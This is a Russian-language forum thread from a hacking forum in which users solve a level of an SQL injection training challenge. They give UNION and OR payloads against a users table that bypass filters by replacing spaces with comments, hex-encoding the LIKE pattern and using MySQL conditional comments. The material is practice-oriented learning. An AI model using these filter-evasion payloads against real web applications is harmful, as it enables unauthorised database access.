![]() |
Предыдущая статья - ссылочка
Следующая статья: Давайте учиться SQL-инъекциям вместе! Ссылка на задание: SQL injection challenge Усё, 7й таск решил. Давайте разбираться, что да как. https://forum.antichat.xyz/attachmen...70ae66a46a.png Так-с. Что мы имеем. Нам желают удачи и ещё мы знаем, что в столбце login есть подстрока gentoo. Вдуплял минут 5, что значит подстрока, но потом понял, вот строка: gentoo023, а подстрока в ней gentoo, надеюсь понятно) И ещё, теперь у нас фильтруются намного больше символов, чем в прошлом задании. Для начала составим запрос без обхода экранирования символов. -1 union SELECT * FROM users WHERE login LIKE '%gentoo%' Давайте разбирать. У нас в запросе новый оператор LIKE, данный оператор позволяет искать текст по шаблону. LIKE '%gentoo%', знак % значит любое количество символов: 321gentoo421, в данном случае под % попадают числа 321 и 421. Вроде бы с запросом разобрались, давайте его преобразовывать. У нас в запросе присутствуют пробелы и в задании они фильтруются, обходим их таким способом: вместо пробела ставим - /**/ -1/**/union/**/SELECT/**/*/**/FROM/**/users/**/WHERE/**/login/**/LIKE/**/'%gentoo%'# Теперь давайте преобразуем наш "поиск по шаблону", то есть: '%gentoo%', переводим его в hex(text to hex) Внимание: переводим в hex формат без апострофов(одинарных кавычек). %gentoo% - 25 67 65 6e 74 6f 6f 25 - 0x2567656e746f6f25 Заменим шаблон в запросе: -1/**/union/**/SELECT/**/*/**/FROM/**/users/**/WHERE/**/login/**/LIKE/**/0x2567656e746f6f25# Готово. Отправляем запрос и получаем доступ к следующему заданию. Подсказка для следующего задания от нашего сэнсэя explorer`a: blind sql injection, гуглим, ищем, читаем, учимся. |
Поздравляю! Прогресс виден. Видно, что человек учится.
Есть решение покороче: -1/**/or/**/login/**/like/**/0x2567656e746f6f25# или так /*!-1/**/or/**/login/**/like/**/0x2567656e746f6f25*/ Следующий уровень интереснее, и уже сложнее - за один запрос решить не получится. |
Цитата:
|
Цитата:
|
SQL-инъекции мне нравятся потому что большой простор для размышлений, всегда можно написать много вариантов во всех случаях.
Вот накидал решение ещё более интересное -1||login/*!like*/0x2567656e746f6f25# |
Цитата:
|
/*!*/ это условный комментарий в стиле СИ, никакого отрицания тут нет ) зато есть замена пробелу )
В сообщении выше, я уже давал код с примером этого комментария, посмотри внимательнее. |
Цитата:
|
Цитата:
-1||login/*!like*//*!0x2567656e746f6f25*/ Лучше чем официальный ман конечно же ничего нет. Все функции, операторы и т.д. ищи там. Вот страничка про комменты в mysql MySQL :: MySQL 5.7 Reference Manual :: 9.6 Comment Syntax |
Цитата:
|
| Время: 13:29 |